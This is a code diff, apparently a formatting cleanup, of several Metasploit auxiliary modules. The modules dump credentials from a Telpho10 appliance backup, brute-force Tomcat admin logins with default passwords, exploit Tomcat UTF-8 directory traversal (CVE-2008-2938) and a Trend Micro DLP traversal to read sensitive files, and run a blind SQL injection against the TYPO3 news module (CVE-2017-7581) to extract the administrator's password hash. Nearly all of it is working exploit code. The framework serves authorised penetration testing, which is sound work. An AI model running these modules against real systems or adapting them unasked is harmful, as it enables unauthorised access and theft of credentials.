|
||||
private_type: :password,
|
||||
private_data: cred_opts[:password],
|
||||
username: cred_opts[:username]
|
||||
|
|
|
@ -7,27 +7,32 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Telpho10 Backup Credentials Dumper',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability present in all versions of Telpho10 telephone system
|
||||
appliance. This module generates a configuration backup of Telpho10,
|
||||
downloads the file and dumps the credentials for admin login,
|
||||
phpmyadmin, phpldapadmin, etc.
|
||||
This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.
|
||||
},
|
||||
'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => ['URL', 'https://github.com/whoot/TelpOWN'],
|
||||
'Platform' => 'linux',
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2016-09-02'))
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Telpho10 Backup Credentials Dumper',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability present in all versions of Telpho10 telephone system
|
||||
appliance. This module generates a configuration backup of Telpho10,
|
||||
downloads the file and dumps the credentials for admin login,
|
||||
phpmyadmin, phpldapadmin, etc.
|
||||
This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.
|
||||
},
|
||||
'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => ['URL', 'https://github.com/whoot/TelpOWN'],
|
||||
'Platform' => 'linux',
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2016-09-02'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Used for unpacking backup files
|
||||
|
@ -38,12 +43,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
Rex::Tar::Reader.new(file) do |tar|
|
||||
tar.each do |entry|
|
||||
dest = File.join(destination, File.basename(entry.full_name))
|
||||
if entry.file?
|
||||
File.open(dest, 'wb') do |f|
|
||||
f.write(entry.read)
|
||||
end
|
||||
File.chmod(entry.header.mode, dest)
|
||||
next unless entry.file?
|
||||
|
||||
File.open(dest, 'wb') do |f|
|
||||
f.write(entry.read)
|
||||
end
|
||||
File.chmod(entry.header.mode, dest)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -62,54 +67,53 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_status('Login (/telpho/login.php)')
|
||||
print_status('-------------------------')
|
||||
print_good("Username: #{config.first[/adminusername\',\'(.*?)\'/, 1]}")
|
||||
print_good("Password: #{config.first[/adminpassword\',\'(.*?)\'/, 1]}\n")
|
||||
print_good("Username: #{config.first[/adminusername','(.*?)'/, 1]}")
|
||||
print_good("Password: #{config.first[/adminpassword','(.*?)'/, 1]}\n")
|
||||
|
||||
print_status('MySQL (/phpmyadmin)')
|
||||
print_status('-------------------')
|
||||
print_good('Username: root')
|
||||
print_good("Password: #{config.first[/dbpassword\',\'(.*?)\'/, 1]}\n")
|
||||
print_good("Password: #{config.first[/dbpassword','(.*?)'/, 1]}\n")
|
||||
|
||||
print_status('LDAP (/phpldapadmin)')
|
||||
print_status('--------------------')
|
||||
print_good('Username: cn=admin,dc=localdomain')
|
||||
print_good("Password: #{config.first[/ldappassword\',\'(.*?)\'/, 1]}\n")
|
||||
print_good("Password: #{config.first[/ldappassword','(.*?)'/, 1]}\n")
|
||||
|
||||
print_status('Asterisk MI (port 5038)')
|
||||
print_status('-----------------------')
|
||||
print_good("Username: #{config.first[/manageruser\',\'(.*?)\'/, 1]}")
|
||||
print_good("Password: #{config.first[/managersecret\',\'(.*?)\'/, 1]}\n")
|
||||
print_good("Username: #{config.first[/manageruser','(.*?)'/, 1]}")
|
||||
print_good("Password: #{config.first[/managersecret','(.*?)'/, 1]}\n")
|
||||
|
||||
print_status('Mail configuration')
|
||||
print_status('------------------')
|
||||
print_good("Mailserver: #{config.first[/ipsmarthost\',\'(.*?)\'/, 1]}")
|
||||
print_good("Username: #{config.first[/mailusername\',\'(.*?)\'/, 1]}")
|
||||
print_good("Password: #{config.first[/mailpassword\',\'(.*?)\'/, 1]}")
|
||||
print_good("Mail from: #{config.first[/mailfrom\',\'(.*?)\'/, 1]}\n")
|
||||
print_good("Mailserver: #{config.first[/ipsmarthost','(.*?)'/, 1]}")
|
||||
print_good("Username: #{config.first[/mailusername','(.*?)'/, 1]}")
|
||||
print_good("Password: #{config.first[/mailpassword','(.*?)'/, 1]}")
|
||||
print_good("Mail from: #{config.first[/mailfrom','(.*?)'/, 1]}\n")
|
||||
|
||||
print_status('Online Backup')
|
||||
print_status('-------------')
|
||||
print_good("ID: #{config.first[/ftpbackupid\',\'(.*?)\'/, 1]}")
|
||||
print_good("Password: #{config.first[/ftpbackuppw\',\'(.*?)\'/, 1]}\n")
|
||||
|
||||
print_good("ID: #{config.first[/ftpbackupid','(.*?)'/, 1]}")
|
||||
print_good("Password: #{config.first[/ftpbackuppw','(.*?)'/, 1]}\n")
|
||||
end
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => '/telpho/system/backup.php',
|
||||
'uri' => '/telpho/system/backup.php',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.code == 200
|
||||
print_status('Generating backup')
|
||||
sleep(1)
|
||||
else
|
||||
print_error("Could not find vulnerable script. Aborting.")
|
||||
print_error('Could not find vulnerable script. Aborting.')
|
||||
return nil
|
||||
end
|
||||
|
||||
print_status('Downloading backup')
|
||||
res = send_request_cgi({
|
||||
'uri' => '/telpho/temp/telpho10.epb',
|
||||
'uri' => '/telpho/temp/telpho10.epb',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.code == 200
|
||||
|
@ -128,16 +132,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_good("File saved in: #{path}")
|
||||
|
||||
begin
|
||||
extracted = untar("#{path}")
|
||||
extracted = untar(path.to_s)
|
||||
mysql = untar("#{extracted}/mysql.tar")
|
||||
rescue
|
||||
rescue StandardError
|
||||
print_error('Could not unpack files.')
|
||||
return nil
|
||||
end
|
||||
begin
|
||||
print_status("Dumping credentials\n")
|
||||
dump_creds("#{mysql}/mysql.epb")
|
||||
rescue
|
||||
rescue StandardError
|
||||
print_error('Could not find credential file.')
|
||||
return nil
|
||||
end
|
||||
|
|
|
@ -10,16 +10,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Tomcat Administration Tool Default Access',
|
||||
'Name' => 'Tomcat Administration Tool Default Access',
|
||||
'Description' => 'Detect the Tomcat administration interface. The administration interface is included in versions 5.5 and lower.
|
||||
Port 8180 is the default for FreeBSD, 8080 for all others.',
|
||||
# version of admin interface source: O'Reilly Tomcat The Definitive Guide, page 82
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://tomcat.apache.org/'],
|
||||
],
|
||||
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
|
||||
'License' => MSF_LICENSE
|
||||
# version of admin interface source: O'Reilly Tomcat The Definitive Guide, page 82
|
||||
'References' => [
|
||||
['URL', 'http://tomcat.apache.org/'],
|
||||
],
|
||||
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -27,107 +26,98 @@ class MetasploitModule < Msf::Auxiliary
|
|||
Opt::RPORT(8180), # 8180 is default for FreeBSD. All other OSes it's 8080
|
||||
OptString.new('TOMCAT_USER', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('TOMCAT_PASS', [ false, 'The password for the specified username', '']),
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def post_auth?
|
||||
true
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def run_host(_ip)
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
}, 25
|
||||
)
|
||||
|
||||
begin
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
}, 25)
|
||||
http_fingerprint({ response: res })
|
||||
|
||||
http_fingerprint({ :response => res })
|
||||
if (res && (res.code == 200))
|
||||
|
||||
if (res and res.code == 200)
|
||||
ver = ''
|
||||
|
||||
ver = ""
|
||||
|
||||
if res.body.match(/<title>Apache Tomcat\/(.*)<\/title>/)
|
||||
ver = "Apache Tomcat/" + $1
|
||||
end
|
||||
|
||||
user = datastore['TOMCAT_USER'].to_s
|
||||
pass = datastore['TOMCAT_PASS'].to_s
|
||||
|
||||
if user.length == 0
|
||||
default_usernames = ['admin','manager','role1','root','tomcat']
|
||||
else
|
||||
default_usernames = [user]
|
||||
end
|
||||
|
||||
if pass.length == 0
|
||||
default_passwords = ['admin','manager','role1','root','tomcat']
|
||||
else
|
||||
default_passwords = [pass]
|
||||
end
|
||||
|
||||
default_usernames.each do |username|
|
||||
default_passwords.each do |password|
|
||||
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => '/admin/',
|
||||
}, 25)
|
||||
|
||||
if res && res.code == 200
|
||||
|
||||
if res.get_cookies.match(/JSESSIONID=(.*);(.*)/i)
|
||||
|
||||
jsessionid = $1
|
||||
|
||||
post_data = "j_username=#{username}&j_password=#{password}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/admin/j_security_check',
|
||||
'method' => 'POST',
|
||||
'content-type' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => "JSESSIONID=#{jsessionid}",
|
||||
'data' => post_data,
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 302)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => "/admin/",
|
||||
'method' => 'GET',
|
||||
'cookie' => "JSESSIONID=#{jsessionid}",
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 302)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => "/admin/frameset.jsp",
|
||||
'method' => 'GET',
|
||||
'cookie' => "JSESSIONID=#{jsessionid}",
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 200)
|
||||
print_status("http://#{target_host}:#{rport}/admin [#{res.headers['Server']}] [#{ver}] [Tomcat Server Administration] [#{username}/#{password}]")
|
||||
end
|
||||
|
||||
# LogOut
|
||||
res = send_request_cgi({
|
||||
'uri' => '/admin/logOut.do',
|
||||
'method' => 'GET',
|
||||
'cookie' => "JSESSIONID=#{jsessionid}",
|
||||
}, 25)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if res.body.match(%r{<title>Apache Tomcat/(.*)</title>})
|
||||
ver = 'Apache Tomcat/' + ::Regexp.last_match(1)
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
user = datastore['TOMCAT_USER'].to_s
|
||||
pass = datastore['TOMCAT_PASS'].to_s
|
||||
|
||||
if user.empty?
|
||||
default_usernames = ['admin', 'manager', 'role1', 'root', 'tomcat']
|
||||
else
|
||||
default_usernames = [user]
|
||||
end
|
||||
|
||||
if pass.empty?
|
||||
default_passwords = ['admin', 'manager', 'role1', 'root', 'tomcat']
|
||||
else
|
||||
default_passwords = [pass]
|
||||
end
|
||||
|
||||
default_usernames.each do |username|
|
||||
default_passwords.each do |password|
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => '/admin/'
|
||||
}, 25)
|
||||
|
||||
next unless res && res.code == 200 && res.get_cookies.match(/JSESSIONID=(.*);(.*)/i)
|
||||
|
||||
jsessionid = ::Regexp.last_match(1)
|
||||
|
||||
post_data = "j_username=#{username}&j_password=#{password}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/admin/j_security_check',
|
||||
'method' => 'POST',
|
||||
'content-type' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => "JSESSIONID=#{jsessionid}",
|
||||
'data' => post_data
|
||||
}, 25)
|
||||
|
||||
next unless (res && (res.code == 302))
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/admin/',
|
||||
'method' => 'GET',
|
||||
'cookie' => "JSESSIONID=#{jsessionid}"
|
||||
}, 25)
|
||||
|
||||
next unless (res && (res.code == 302))
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/admin/frameset.jsp',
|
||||
'method' => 'GET',
|
||||
'cookie' => "JSESSIONID=#{jsessionid}"
|
||||
}, 25)
|
||||
|
||||
if (res && (res.code == 200))
|
||||
print_status("http://#{target_host}:#{rport}/admin [#{res.headers['Server']}] [#{ver}] [Tomcat Server Administration] [#{username}/#{password}]")
|
||||
end
|
||||
|
||||
# LogOut
|
||||
res = send_request_cgi({
|
||||
'uri' => '/admin/logOut.do',
|
||||
'method' => 'GET',
|
||||
'cookie' => "JSESSIONID=#{jsessionid}"
|
||||
}, 25)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,8 +10,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
This module tests whether a directory traversal vulnerability is present
|
||||
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
|
||||
- 6.0.16 under specific and non-default installations. The connector must have
|
||||
|
@ -22,15 +22,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
RedHat 9 running Tomcat 6.0.16 and Sun JRE 1.5.0-05. You may wish to change
|
||||
FILE (hosts,sensitive files), MAXDIRS and RPORT depending on your environment.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://tomcat.apache.org/' ],
|
||||
[ 'OSVDB', '47464' ],
|
||||
[ 'CVE', '2008-2938' ],
|
||||
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
|
||||
],
|
||||
'Author' => [ 'aushack','guerrino <ruggine> di massa' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'http://tomcat.apache.org/' ],
|
||||
[ 'OSVDB', '47464' ],
|
||||
[ 'CVE', '2008-2938' ],
|
||||
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
|
||||
],
|
||||
'Author' => [ 'aushack', 'guerrino <ruggine> di massa' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Jan 9 2009'
|
||||
)
|
||||
|
||||
|
@ -38,10 +37,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, 'URI to the Tomcat instance', '/']),
|
||||
OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
|
||||
OptPath.new('SENSITIVE_FILES', [
|
||||
true, 'File containing senstive files, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files.txt')
|
||||
]),
|
||||
OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def extract_words(wordfile)
|
||||
|
@ -62,46 +64,47 @@ class MetasploitModule < Msf::Auxiliary
|
|||
try = traversal * level
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], try, files),
|
||||
}, 25)
|
||||
if (res and res.code == 200)
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], try, files)
|
||||
}, 25
|
||||
)
|
||||
if (res && (res.code == 200))
|
||||
print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n#{res.body}")
|
||||
@files_found << files
|
||||
break
|
||||
elsif (res and res.code)
|
||||
elsif (res && res.code)
|
||||
vprint_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def run_host(_ip)
|
||||
@files_found = []
|
||||
|
||||
begin
|
||||
print_status("Attempting to connect to #{rhost}:#{rport}")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI']),
|
||||
}, 25)
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||
}, 25
|
||||
)
|
||||
|
||||
if (res)
|
||||
if res
|
||||
extract_words(datastore['SENSITIVE_FILES']).each do |files|
|
||||
find_files(files) unless files.empty?
|
||||
end
|
||||
end
|
||||
|
||||
if not @files_found.empty?
|
||||
print_good("File(s) found:")
|
||||
if !@files_found.empty?
|
||||
print_good('File(s) found:')
|
||||
|
||||
@files_found.each do |f|
|
||||
print_good(f)
|
||||
end
|
||||
else
|
||||
print_good("No File(s) found")
|
||||
print_good('No File(s) found')
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
|
|
|
@ -9,8 +9,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
|
||||
'Description' => %q{
|
||||
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module tests whether a directory traversal vulnerablity is present
|
||||
in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.
|
||||
The vulnerability appears to be actually caused by the Tomcat UTF-8
|
||||
|
@ -19,18 +19,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
Note that in the Trend Micro appliance, /etc/shadow is not used and therefore
|
||||
password hashes are stored and anonymously accessible in the passwd file.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://tomcat.apache.org/' ],
|
||||
[ 'OSVDB', '47464' ],
|
||||
[ 'OSVDB', '73447' ],
|
||||
[ 'CVE', '2008-2938' ],
|
||||
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
|
||||
[ 'EDB', '17388' ],
|
||||
[ 'BID', '48225' ],
|
||||
],
|
||||
'Author' => [ 'aushack' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'http://tomcat.apache.org/' ],
|
||||
[ 'OSVDB', '47464' ],
|
||||
[ 'OSVDB', '73447' ],
|
||||
[ 'CVE', '2008-2938' ],
|
||||
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
|
||||
[ 'EDB', '17388' ],
|
||||
[ 'BID', '48225' ],
|
||||
],
|
||||
'Author' => [ 'aushack' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Jan 9 2009'
|
||||
)
|
||||
|
||||
|
@ -38,9 +37,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[
|
||||
Opt::RPORT(8443),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
|
||||
])
|
||||
OptPath.new('SENSITIVE_FILES', [
|
||||
true, 'File containing senstive files, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files.txt')
|
||||
]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def extract_words(wordfile)
|
||||
|
@ -59,44 +61,45 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/dsc/' + traversal*10 + files, # We know depth is 10
|
||||
}, 25)
|
||||
if (res and res.code == 200)
|
||||
'method' => 'GET',
|
||||
'uri' => '/dsc/' + traversal * 10 + files # We know depth is 10
|
||||
}, 25
|
||||
)
|
||||
if (res && (res.code == 200))
|
||||
print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n#{res.body}")
|
||||
@files_found << files
|
||||
elsif (res and res.code)
|
||||
elsif (res && res.code)
|
||||
vprint_status("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}")
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def run_host(_ip)
|
||||
@files_found = []
|
||||
|
||||
begin
|
||||
print_status("Attempting to connect to #{rhost}:#{rport}")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/dsc/',
|
||||
}, 25)
|
||||
'method' => 'GET',
|
||||
'uri' => '/dsc/'
|
||||
}, 25
|
||||
)
|
||||
|
||||
if (res)
|
||||
if res
|
||||
extract_words(datastore['SENSITIVE_FILES']).each do |files|
|
||||
find_files(files) unless files.empty?
|
||||
end
|
||||
end
|
||||
|
||||
if not @files_found.empty?
|
||||
print_good("File(s) found:")
|
||||
if !@files_found.empty?
|
||||
print_good('File(s) found:')
|
||||
|
||||
@files_found.each do |f|
|
||||
print_good(f)
|
||||
end
|
||||
else
|
||||
print_good("No File(s) found")
|
||||
print_good('No File(s) found')
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
|
|
|
@ -8,39 +8,41 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'TYPO3 News Module SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
|
||||
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
|
||||
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
|
||||
can be used to obtain password hashes for application user accounts. This module has been
|
||||
tested on TYPO3 3.16.0 running news extension 5.0.0.
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'TYPO3 News Module SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
|
||||
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
|
||||
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
|
||||
can be used to obtain password hashes for application user accounts. This module has been
|
||||
tested on TYPO3 3.16.0 running news extension 5.0.0.
|
||||
|
||||
This module tries to extract username and password hash of the administrator user.
|
||||
It tries to inject sql and check every letter of a pattern, to see
|
||||
if it belongs to the username or password it tries to alter the ordering of results. If
|
||||
the letter doesn't belong to the word being extracted then all results are inverted
|
||||
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
|
||||
to the word being extracted then the results are in proper order (News #1 appears before News #2,
|
||||
so Pattern1 before Pattern2)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
This module tries to extract username and password hash of the administrator user.
|
||||
It tries to inject sql and check every letter of a pattern, to see
|
||||
if it belongs to the username or password it tries to alter the ordering of results. If
|
||||
the letter doesn't belong to the word being extracted then all results are inverted
|
||||
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
|
||||
to the word being extracted then the results are in proper order (News #1 appears before News #2,
|
||||
so Pattern1 before Pattern2)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Marco Rivoli', # MSF code
|
||||
'Charles Fol' # initial discovery, POC
|
||||
'Charles Fol' # initial discovery, POC
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
['CVE', '2017-7581'],
|
||||
['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'DisclosureDate' => '2017-04-06'))
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'DisclosureDate' => '2017-04-06'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -48,33 +50,34 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptString.new('ID', [true, 'The id of TYPO3 news page', '1']),
|
||||
OptString.new('PATTERN1', [false, 'Pattern of the first article title', 'Article #1']),
|
||||
OptString.new('PATTERN2', [false, 'Pattern of the second article title', 'Article #2'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def dump_the_hash(patterns = {})
|
||||
ascii_charset_lower = "a".upto("z").to_a.join('')
|
||||
ascii_charset_upper = "A".upto("Z").to_a.join('')
|
||||
ascii_charset_lower = 'a'.upto('z').to_a.join('')
|
||||
ascii_charset_upper = 'A'.upto('Z').to_a.join('')
|
||||
ascii_charset = "#{ascii_charset_lower}#{ascii_charset_upper}"
|
||||
digit_charset = "0".upto("9").to_a.join('')
|
||||
digit_charset = '0'.upto('9').to_a.join('')
|
||||
full_charset = "#{ascii_charset}#{digit_charset}$./"
|
||||
|
||||
username = blind('username','be_users', 'uid=1', ascii_charset, digit_charset, patterns)
|
||||
username = blind('username', 'be_users', 'uid=1', ascii_charset, digit_charset, patterns)
|
||||
print_good("Username: #{username}")
|
||||
password = blind('password','be_users', 'uid=1', full_charset, digit_charset, patterns)
|
||||
password = blind('password', 'be_users', 'uid=1', full_charset, digit_charset, patterns)
|
||||
print_good("Password Hash: #{password}")
|
||||
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: username,
|
||||
private_data: password,
|
||||
private_type: :nonreplayable_hash,
|
||||
workspace_id: myworkspace_id
|
||||
}.merge!(service_details)
|
||||
module_fullname: fullname,
|
||||
username: username,
|
||||
private_data: password,
|
||||
private_type: :nonreplayable_hash,
|
||||
workspace_id: myworkspace_id
|
||||
}.merge!(service_details)
|
||||
credential_core = create_credential(connection_details)
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
workspace_id: myworkspace_id
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
workspace_id: myworkspace_id
|
||||
}.merge(service_details)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
@ -106,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
payload3
|
||||
end
|
||||
|
||||
def blind_size(field, table, condition, size, charset, patterns = {})
|
||||
def blind_size(field, table, condition, size, charset, patterns = {})
|
||||
str = ''
|
||||
for position in 0..size
|
||||
for char in charset.split('')
|
||||
|
@ -123,8 +126,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def test(payload, patterns = {})
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path,'index.php'),
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => {
|
||||
'id' => datastore['ID'],
|
||||
'no_cache' => '1'
|
||||
|
@ -140,20 +143,19 @@ class MetasploitModule < Msf::Auxiliary
|
|||
rescue Rex::ConnectionError, Errno::CONNRESET => e
|
||||
print_error("Failed: #{e.class} - #{e.message}")
|
||||
end
|
||||
if res && res.code == 200
|
||||
unless res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?
|
||||
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
|
||||
end
|
||||
if res && res.code == 200 && !(res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?)
|
||||
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def try_autodetect_patterns
|
||||
print_status("Trying to automatically determine Pattern1 and Pattern2...")
|
||||
print_status('Trying to automatically determine Pattern1 and Pattern2...')
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path,'index.php'),
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => {
|
||||
'id' => datastore['ID'],
|
||||
'no_cache' => '1'
|
||||
|
@ -183,9 +185,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run
|
||||
pattern1, pattern2 = try_autodetect_patterns
|
||||
if pattern1 == '' || pattern2 == ''
|
||||
print_error("Unable to determine pattern, aborting...")
|
||||
print_error('Unable to determine pattern, aborting...')
|
||||
else
|
||||
dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2)
|
||||
